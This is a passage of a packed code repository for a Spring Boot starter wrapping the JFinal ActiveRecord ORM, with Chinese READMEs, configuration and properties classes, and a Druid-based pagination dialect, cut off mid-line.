{\n\t\t\t@Override\n\t\t\tpublic void customize(ActiveRecordPlugin arp) {\n\t\t\t\tSystem.out.println(\"----------------ActiveRecordPluginCustomizer-----------------\");\n\t\t\t\tarp.setDevMode(true);\n\t\t\t}\n\t\t};\n\t}\n\n}\n```\n\n## TODO \n- 对多数据源的支持"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/readme2.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/readme3.md",
    "content": "\n##声明\n\n本工具纯粹写来自用, 并没有与别人竞争的意思, 欢迎大神们给我这个渣渣提提建议, 不喜欢本项目的也不要喷我\n\n##前言\n\n我是一个曾纠结springboot还是jfinal的渣渣程序员\n\njfinal的orm超级爽, 但是controller并不是十分方便而且官方并不支持注解.\n\njfinal-ext支持注解了但是写起单元测试来十分麻烦. jfinal也不支持restful\n\noscgit上也有数个基于jfinal的restful框架,但是没有在官方支持下感觉十分奇怪,\n\n比如取PathParam要getAttr(),这样就感觉很奇怪了.\n\n最终我败在了Spring的大生态下, 虽然Spring库有点大了, 但是总是有用的.\n\nSpringBoot的简单配置实在让我非常心动, 加上SpringMVC强大又稳定, 所以我最终选择了SpringBoot\n\n但是SpringBoot自带的JPA写起一些多表查询,动态查询实在会死人, 所以我决定写一个基于JDBC类似JFinal的ORM框架(其实只算是封装好的工具吧)\n\n##x-orm简介\n\n跟JFinal一样有Model和Db+Record两种方式, 不过我在Model上加上了注解,这样配置就更加少了.\n\n在注册Record的时候实在比不上波总的JFinal..小弟才疏学浅.感觉在服务启动的性能上比JFinal差多了\n\n功能还在慢慢完善, 不废话了, 有兴趣的小伙伴来试试顺便给个星\n\n##配置\nx-orm是基于SpringBoot+Jdbc的 Maven就依赖这几个东西就好了\n```\n<parent>\n    <groupId>org.springframework.boot</groupId>\n    <artifactId>spring-boot-starter-parent</artifactId>\n    <version>1.3.6.RELEASE</version>\n  </parent>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-jdbc</artifactId>\n    </dependency>\n```\n\n\n\n配置上面就非常简单了, 在SpringBoot的服务启动类加上两个注册的语句~如果不需要Record的就不需要填了\n\n```\n@Controller\n@EnableAutoConfiguration\n@ComponentScan(basePackages = \"com.xdivo\")\npublic class SpringBootStarter {\n\n    public static void main(String[] args) throws Exception {\n        SpringApplication.run(SpringBootStarter.class, args);\n        Register.registerModel(\"com.xdivo.model\"); //扫描的包名\n        Register.registerRecord(\"online_class\"); //数据库名\n        Register.initTheadPool(100, 100, 1000); //初始化线程池 0为使用默认值\n    }\n}\n\n```\n\n定义Model\n```\n/**\n * 用户类\n * Created by liujunjie on 16-7-19.\n */\n@Entity(table = \"c_user\")\npublic class model.User extends Model<model.User> {\n\n    @PK\n    @Column(name = \"id_\")\n    private long id;\n\n    @Column(name = \"mobile_\")\n    private String mobile;\n\n    @Column(name = \"password_\")\n    private String password;\n\n    @Join(refColumn = \"id\")\n    @Column(name = \"room_id_\")\n    private Room room;\n\n    @Join(refColumn = \"id_\") //关联的refColumn的值为数据库的关联列\n    @Column(name = \"student_id_\")\n    private Student student;\n\n    public long getId() {\n        return id;\n    }\n\n    public model.User setId(long id) {\n        this.id = id;\n        return this;\n    }\n\n    public String getMobile() {\n        return mobile;\n    }\n\n    public model.User setMobile(String mobile) {\n        this.mobile = mobile;\n        return this;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public model.User setPassword(String password) {\n        this.password = password;\n        return this;\n    }\n\n    public Room getRoom() {\n        return room;\n    }\n\n    public model.User setRoom(Room room) {\n        this.room = room;\n        return this;\n    }\n\n    public Student getStudent() {\n        return student;\n    }\n\n    public model.User setStudent(Student student) {\n        this.student = student;\n        return this;\n    }\n}\n```\n\n在使用的时候就跟JFinal基本一样了\n```\n//保存User对象\nnew model.User().setMobile(\"abc\")\n      .setPassword(\"123\")\n      .save();\n\n//根据主键查询User\nmodel.User user = new model.User().findById(id);\n\n//获取关联对象\n\n//异步保存到数据\nuser.asyncSave();\n\n//异步更新到数据\nuser.asyncUpdate();\n```\n\n```\n//查询record\nRecord record = Db.findById(\"c_user\", 23);\n\n//转换到Model(转换到Model后直接使用getter就能获取关联Model)\nmodel.User user = record.toModel(model.User.class);\n\n//保存Record对象\nRecord record = new Record()\n    .set(\"mobile_\", \"abc\")\n    .set(\"password_\", \"123\");\nDb.save(\"c_user\", record);\n```\n\n```\n//直接使用JdbcTemplate增加自定义查询 并转换成Model\nMap<String, Object> resultMap = jdbcTemplate.queryForMap(\"SELECT * FROM user WHERE id = ?\", 1);\nmodel.User user = new model.User().mapping(resultMap);\n\nList<Map<String, Object>> resultList = jdbcTemplate.queryForList(\"SELECT * FROM user\");\nList<model.User> users = new model.User().mappingList(resultList);\n\n```\n\n```\n/**\n     * 瀑布流分页(暂时只支持Number类型的列)\n     *\n     * @param orderColName  排序列名\n     * @param orderColValue 排序列值\n     * @param direction     方向\n     * @param params        参数\n     * @param pageSize      每页数量\n     * @return ScrollResult\n     */\n    public ScrollResult scroll(String orderColName, Number orderColValue, String direction, Map<String, Object> params, int pageSize)\n\n\n    //滚动分页方法\n    ScrollResult result = user.scroll(\"id\", id, Model.Direction.DESC, null, 2);\n\n```\n\n像事务那些东西就是基于SpringBoot了.省了一笔功夫\n\n\n\n##联系方式\n###QQ: 41369927\n###邮箱: 41369927@qq.com\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/annotation/TableName.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * 映射表\n *\n * \n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface TableName {\n\n\t/**\n\t * 表名\n\t *\n\t * @return 表明\n\t */\n\tString value();\n\n\t/**\n\t * 主键名\n\t *\n\t * @return 主键名\n\t */\n\tString primaryKey() default \"\";\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/config/ActiveRecordConfiguration.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.config;\n\nimport com.jfinal.kit.StrKit;\nimport com.jfinal.plugin.activerecord.ActiveRecordPlugin;\nimport com.jfinal.plugin.activerecord.IDataSourceProvider;\nimport com.jfinal.plugin.activerecord.Model;\nimport com.jfinal.plugin.druid.DruidPlugin;\nimport com.jfinal.template.Engine;\nimport com.jfinal.template.source.ClassPathSourceFactory;\nimport io.github.wujun728.activerecord.annotation.TableName;\nimport io.github.wujun728.activerecord.datasource.SpringDataSourceProvider;\nimport io.github.wujun728.activerecord.logger.SqlLogFilter;\nimport lombok.extern.slf4j.Slf4j;\nimport io.github.wujun728.activerecord.tx.ActiveRecordTxAspect;\nimport org.springframework.beans.factory.ObjectProvider;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.AnnotationUtils;\nimport org.springframework.core.env.Environment;\nimport org.springframework.core.io.ResourceLoader;\nimport org.springframework.core.type.filter.AnnotationTypeFilter;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.Assert;\nimport org.springframework.util.ClassUtils;\n\nimport javax.sql.DataSource;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.regex.Pattern;\nimport java.util.stream.Collectors;\n\n/**\n * jfinal activerecord 配置\n *\n * \n */\n@Slf4j\n@ConditionalOnProperty(prefix = \"jun.activerecord\", name = \"enabled\", havingValue = \"true\", matchIfMissing = true)\n@Configuration\n//@AutoConfiguration\n@EnableConfigurationProperties({\n\tJunDruidProperties.class,\n\tJunActiveRecordProperties.class\n})\npublic class ActiveRecordConfiguration {\n\t@Value(\"${spring.datasource.url:}\")\n\tprivate String url;\n\t@Value(\"${spring.datasource.username:}\")\n\tprivate String username;\n\t@Value(\"${spring.datasource.password:}\")\n\tprivate String password;\n\n\t@Bean\n\tpublic ActiveRecordTxAspect activeRecordTxAspect() {\n\t\treturn new ActiveRecordTxAspect();\n\t}\n\n\t@Bean\n\t@ConditionalOnBean(DataSource.class)\n\tpublic IDataSourceProvider springDataSourceProvider(DataSource dataSource) {\n\t\treturn new SpringDataSourceProvider(dataSource);\n\t}\n\n\t@Bean\n\t@ConditionalOnMissingBean(IDataSourceProvider.class)\n\tpublic IDataSourceProvider druidDataSourceProvider(JunDruidProperties properties) {\n\t\t// 数据库信息\n\t\tString dbUrl = StrKit.isBlank(url) ? properties.getUrl() : url;\n\t\tString dbUserName = StrKit.isBlank(username) ? properties.getUsername() : username;\n\t\tString dbPassWord = StrKit.isBlank(password) ? properties.getPassword() : password;\n\t\tAssert.hasText(dbUrl, \"spring.datasource.url or jun.druid.url is blank.\");\n\t\tAssert.hasText(dbUserName, \"spring.datasource.username or jun.druid.username is blank.\");\n\t\tAssert.hasText(dbUserName, \"spring.datasource.password or jun.druid.password is blank.\");\n\t\t// Druid 连接池配置\n\t\tDruidPlugin druidPlugin = new DruidPlugin(dbUrl, dbUserName, dbPassWord)\n\t\t\t.setDriverClass(properties.getDriverClass())\n\t\t\t.setInitialSize(properties.getInitialSize())\n\t\t\t.setMinIdle(properties.getMinIdle())\n\t\t\t.setMaxActive(properties.getMaxActive())\n\t\t\t.setMaxWait(properties.getMaxWait())\n\t\t\t.setTimeBetweenEvictionRunsMillis(properties.getTimeBetweenEvictionRunsMillis())\n\t\t\t.setTimeBetweenConnectErrorMillis(properties.getTimeBetweenConnectErrorMillis())\n\t\t\t.setMinEvictableIdleTimeMillis(properties.getMinEvictableIdleTimeMillis())\n\t\t\t.setValidationQuery(properties.getValidationQuery())\n\t\t\t.setConnectionProperties(properties.getConnectionProperties())\n\t\t\t.setTestOnBorrow(properties.isTestOnBorrow())\n\t\t\t.setTestOnReturn(properties.isTestOnReturn())\n\t\t\t.setTestWhileIdle(properties.isTestWhileIdle())\n\t\t\t.setRemoveAbandoned(properties.isRemoveAbandoned())\n\t\t\t.setRemoveAbandonedTimeoutMillis(properties.getRemoveAbandonedTimeoutMillis())\n\t\t\t.setLogAbandoned(properties.isLogAbandoned())\n\t\t\t.setMaxPoolPreparedStatementPerConnectionSize(properties.getMaxPoolPreparedStatementPerConnectionSize())\n\t\t\t.setFilters(properties.getFilters());\n\t\tdruidPlugin.setConnectionInitSql(properties.getConnectionInitSql());\n\t\tInteger defaultTransactionIsolation = properties.getDefaultTransactionIsolation();\n\t\tif (defaultTransactionIsolation != null) {\n\t\t\tdruidPlugin.setDefaultTransactionIsolation(defaultTransactionIsolation);\n\t\t}\n\t\tInteger validationQueryTimeout = properties.getValidationQueryTimeout();\n\t\tif (validationQueryTimeout != null) {\n\t\t\tdruidPlugin.setValidationQueryTimeout(validationQueryTimeout);\n\t\t}\n\t\tInteger timeBetweenLogStatsMillis = properties.getTimeBetweenLogStatsMillis();\n\t\tif (timeBetweenLogStatsMillis != null) {\n\t\t\tdruidPlugin.setTimeBetweenLogStatsMillis(timeBetweenLogStatsMillis);\n\t\t}\n\t\tBoolean keepAlive = properties.getKeepAlive();\n\t\tif (keepAlive != null) {\n\t\t\tdruidPlugin.setKeepAlive(properties.getKeepAlive());\n\t\t}\n\t\t// 打印可执行sql\n\t\tif (properties.isShowSql()) {\n\t\t\tList<Pattern> showSqlPatternList = properties.getShowSqlPatterns().stream()\n\t\t\t\t.map(Pattern::compile)\n\t\t\t\t\t.collect(Collectors.toList());\n\t\t\tdruidPlugin.addFilter(new SqlLogFilter(properties, showSqlPatternList));\n\t\t}\n\t\tdruidPlugin.start();\n\t\treturn druidPlugin;\n\t}\n\n\t@Bean\n\t@ConditionalOnMissingBean(IDataSourceProvider.class)\n\tpublic ActiveRecordPlugin activeRecordPlugin(IDataSourceProvider dataSourceProvider,\n\t\t\t\t\t\t\t\t\t\t\t\t Environment environment,\n\t\t\t\t\t\t\t\t\t\t\t\t ResourceLoader resourceLoader,\n\t\t\t\t\t\t\t\t\t\t\t\t JunActiveRecordProperties properties,\n\t\t\t\t\t\t\t\t\t\t\t\t ObjectProvider<ActiveRecordPluginCustomizer> customizerObjectProvider) {\n\t\tString modelPackage = properties.getModelPackage();\n\t\tAssert.hasText(modelPackage, \"jun.activerecord.model-package is blank.\");\n\t\tActiveRecordPlugin arp = new ActiveRecordPlugin(dataSourceProvider);\n\t\tarp.setDialect(properties.getDialect().getDialect(\"\"));\n\t\tarp.setTransactionLevel(properties.getTransactionLevel().getLevel());\n\t\tarp.setShowSql(false);\n\t\t// 加载 sql 模板\n\t\tString[] sqlTemplates = properties.getSqlTemplates();\n\t\tif (StrKit.notBlank(sqlTemplates)) {\n\t\t\tEngine engine = arp.getEngine();\n\t\t\tengine.setBaseTemplatePath(properties.getBaseTemplatePath());\n\t\t\tengine.setSourceFactory(new ClassPathSourceFactory());\n\t\t\tArrays.stream(sqlTemplates).forEach(arp::addSqlTemplate);\n\t\t}\n\t\t// 扫描和添加表映射\n\t\tif (properties.isAutoTableScan()) {\n\t\t\tscanTable(arp, environment, resourceLoader, modelPackage);\n\t\t}\n\t\t// arp 自定义配置 bean\n\t\tcustomizerObjectProvider.orderedStream().forEach(customizer -> customizer.customize(arp));\n\t\tarp.start();\n\t\treturn arp;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tprivate static void scanTable(ActiveRecordPlugin arp,\n\t\t\t\t\t\t\t\t  Environment environment,\n\t\t\t\t\t\t\t\t  ResourceLoader resourceLoader,\n\t\t\t\t\t\t\t\t  String modelPackage) {\n\t\tClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false);\n\t\tprovider.addIncludeFilter(new AnnotationTypeFilter(TableName.class));\n\t\tprovider.setEnvironment(environment);\n\t\tprovider.setResourceLoader(resourceLoader);\n\t\tSet<BeanDefinition> definitionSet = provider.findCandidateComponents(modelPackage);\n\t\tdefinitionSet.forEach(beanDefinition -> {\n\t\t\tString className = beanDefinition.getBeanClassName();\n\t\t\tClass<?> modelClass = ClassUtils.resolveClassName(Objects.requireNonNull(className), ClassUtils.getDefaultClassLoader());\n\t\t\tTableName table = AnnotationUtils.findAnnotation(modelClass, TableName.class);\n\t\t\tString tableName = Objects.requireNonNull(table).value();\n\t\t\tString primaryKey = table.primaryKey();\n\t\t\tString modelClassName = ClassUtils.getShortName(modelClass);\n\t\t\tlog.debug(\"ActiveRecordPlugin mapping table:{} primaryKey:{} modelClass:{}\", tableName, primaryKey, modelClassName);\n\t\t\tarp.addMapping(tableName, primaryKey, (Class<? extends Model<?>>) modelClass);\n\t\t});\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/config/ActiveRecordPluginCustomizer.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.config;\n\nimport com.jfinal.plugin.activerecord.ActiveRecordPlugin;\n\n/**\n * 自定义的 model 映射\n *\n * \n */\n@FunctionalInterface\npublic interface ActiveRecordPluginCustomizer {\n\n\t/**\n\t * ActiveRecordPlugin 自定义扩展\n\t *\n\t * @param plugin ActiveRecordPlugin\n\t */\n\tvoid customize(ActiveRecordPlugin plugin);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/config/JunActiveRecordProperties.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.config;\n\nimport io.github.wujun728.activerecord.dialect.DialectType;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\nimport lombok.Setter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * jfinal activerecord config\n *\n */\n@Getter\n@Setter\n@ConfigurationProperties(\"jun.activerecord\")\n@ConditionalOnProperty(prefix = \"jun.activerecord\", name = \"enabled\", havingValue = \"true\", matchIfMissing = true)\npublic class JunActiveRecordProperties {\n\n\t/**\n\t * 数据库方言\n\t */\n\tprivate DialectType dialect = DialectType.Mysql;\n\t/**\n\t * 模型的包路径\n\t */\n\tprivate String modelPackage;\n\t/**\n\t * 自定表扫描\n\t */\n\tprivate boolean autoTableScan = true;\n\t/**\n\t * sql 模板前缀\n\t */\n\tprivate String baseTemplatePath;\n\t/**\n\t * sql 模板，支持多个\n\t */\n\tprivate String[] sqlTemplates;\n\t/**\n\t * 事务级别，默认：不可重复读\n\t */\n\tprivate TransactionLevel transactionLevel = TransactionLevel.TRANSACTION_READ_COMMITTED;\n\n\t@Getter\n\t@RequiredArgsConstructor\n\tpublic enum TransactionLevel {\n\t\t/**\n\t\t * 事务级别\n\t\t */\n\t\tTRANSACTION_NONE(0),\n\t\t/**\n\t\t * 读未提交\n\t\t */\n\t\tTRANSACTION_READ_UNCOMMITTED(1),\n\t\t/**\n\t\t * 读提交\n\t\t */\n\t\tTRANSACTION_READ_COMMITTED(2),\n\t\t/**\n\t\t * 重复读\n\t\t */\n\t\tTRANSACTION_REPEATABLE_READ(4),\n\t\t/**\n\t\t * 串行化\n\t\t */\n\t\tTRANSACTION_SERIALIZABLE(8);\n\t\tprivate final int level;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/config/JunDruidProperties.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.config;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.cloud.context.config.annotation.RefreshScope;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * druid 连接池配置\n *\n * \n */\n@Getter\n@Setter\n@RefreshScope\n@ConditionalOnProperty(prefix = \"jun.activerecord\", name = \"enabled\", havingValue = \"true\", matchIfMissing = true)\n@ConfigurationProperties(\"jun.druid\")\npublic class JunDruidProperties {\n\n\tprivate String url;\n\tprivate String username;\n\tprivate String password;\n\tprivate String publicKey;\n\tprivate String driverClass = null;\n\tprivate int initialSize = 1;\n\tprivate int minIdle = 10;\n\tprivate int maxActive = 32;\n\tprivate long maxWait = -1L;\n\tprivate long timeBetweenEvictionRunsMillis = 60000L;\n\tprivate long minEvictableIdleTimeMillis = 1800000L;\n\tprivate long timeBetweenConnectErrorMillis = 30000L;\n\tprivate String validationQuery = \"select 1\";\n\tprivate String connectionInitSql = null;\n\tprivate String connectionProperties = null;\n\tprivate boolean testWhileIdle = true;\n\tprivate boolean testOnBorrow = false;\n\tprivate boolean testOnReturn = false;\n\tprivate boolean removeAbandoned = false;\n\tprivate long removeAbandonedTimeoutMillis = 300000L;\n\tprivate boolean logAbandoned = false;\n\tprivate int maxPoolPreparedStatementPerConnectionSize = -1;\n\tprivate Integer defaultTransactionIsolation = null;\n\tprivate Integer validationQueryTimeout = null;\n\tprivate Integer timeBetweenLogStatsMillis = null;\n\tprivate Boolean keepAlive = null;\n\tprivate String filters;\n\n\t/**\n\t * 是否打印 sql\n\t */\n\tprivate boolean showSql = true;\n\n\t/**\n\t * sql 打印正则过滤\n\t */\n\tprivate List<String> showSqlPatterns = new ArrayList<>();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/datasource/SpringDataSourceProvider.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.datasource;\n\nimport com.jfinal.plugin.activerecord.IDataSourceProvider;\nimport lombok.RequiredArgsConstructor;\n\nimport javax.sql.DataSource;\n\n/**\n * SpringDataSourceProvider\n *\n * \n */\n@RequiredArgsConstructor\npublic class SpringDataSourceProvider implements IDataSourceProvider {\n\tprivate final DataSource dataSource;\n\n\t@Override\n\tpublic DataSource getDataSource() {\n\t\treturn dataSource;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/dialect/DialectType.java",
    "content": "package io.github.wujun728.activerecord.dialect;\n\nimport com.jfinal.plugin.activerecord.dialect.*;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\n\n/**\n * 数据库方言\n *\n * \n */\n@Getter\n@RequiredArgsConstructor\npublic enum DialectType {\n\n\t/**\n\t * 方言\n\t */\n\tMysql,\n\tOracle,\n\tSqlite3,\n\tPostgre,\n\tSqlServer,\n\tAnsi,\n\tDruid;\n\n\tpublic Dialect getDialect(String name) {\n//\t\treturn switch (name) {\n//\t\t\tcase \"Mysql\" -> new MysqlDialect();\n//\t\t\tcase \"Oracle\" -> new OracleDialect();\n//\t\t\tcase \"Sqlite3\" -> new Sqlite3Dialect();\n//\t\t\tcase \"Postgre\" -> new PostgreSqlDialect();\n//\t\t\tcase \"SqlServer\" -> new SqlServerDialect();\n//\t\t\tcase \"Ansi\" -> new AnsiSqlDialect();\n//\t\t\tdefault -> new DruidSqlDialect();\n//\t\t};\n\t\treturn new AnsiSqlDialect();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/dialect/DruidSqlDialect.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.dialect;\n\nimport cn.hutool.core.util.NumberUtil;\nimport com.alibaba.druid.DbType;\nimport com.alibaba.druid.sql.PagerUtils;\nimport com.alibaba.druid.util.JdbcUtils;\nimport com.jfinal.plugin.activerecord.CPI;\nimport com.jfinal.plugin.activerecord.Model;\nimport com.jfinal.plugin.activerecord.Page;\nimport com.jfinal.plugin.activerecord.Record;\nimport com.jfinal.plugin.activerecord.dialect.AnsiSqlDialect;\nimport io.github.wujun728.activerecord.utils.CharPool;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * 利用 druid 优化分页语句，提升性能\n *\n * \n */\npublic class DruidSqlDialect extends AnsiSqlDialect {\n\n\t@Override\n\tpublic boolean isTakeOverDbPaginate() {\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic Page<Record> takeOverDbPaginate(Connection conn, int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSqlBuilder, Object... paras) throws SQLException {\n\t\t// 数据库类型\n\t\tDbType dbType = JdbcUtils.getDbTypeRaw(conn.getMetaData().getURL(), null);\n\t\t// sql\n\t\tString findSql = findSqlBuilder.toString();\n\t\t// 解析 count sql，先转成带 #{0} 的 sql\n\t\tString paramSql = toParamSql(findSql);\n\t\tString countSql = PagerUtils.count(paramSql, dbType);\n\t\t// 解析 count 变量，druid 优化后变量会变\n\t\tObject[] countSqlParams = getCountSqlParams(countSql, paras);\n\t\t// 分页 count 结果\n\t\tList<Object> result = CPI.query(conn, getCountPreSql(countSql), countSqlParams);\n\t\tint size = result.size();\n\t\tlong totalRow = (size > 0) ? ((Number) result.get(0)).longValue() : 0;\n\t\tif (totalRow == 0) {\n\t\t\treturn new Page<>(new ArrayList<>(0), pageNumber, pageSize, 0, 0);\n\t\t}\n\t\tint totalPage = (int) (totalRow / pageSize);\n\t\tif (totalRow % pageSize != 0) {\n\t\t\ttotalPage++;\n\t\t}\n\t\tif (pageNumber > totalPage) {\n\t\t\treturn new Page<>(new ArrayList<>(0), pageNumber, pageSize, totalPage, (int) totalRow);\n\t\t}\n\t\t// --------\n\t\tString sql = PagerUtils.limit(findSql, dbType, pageNumber, 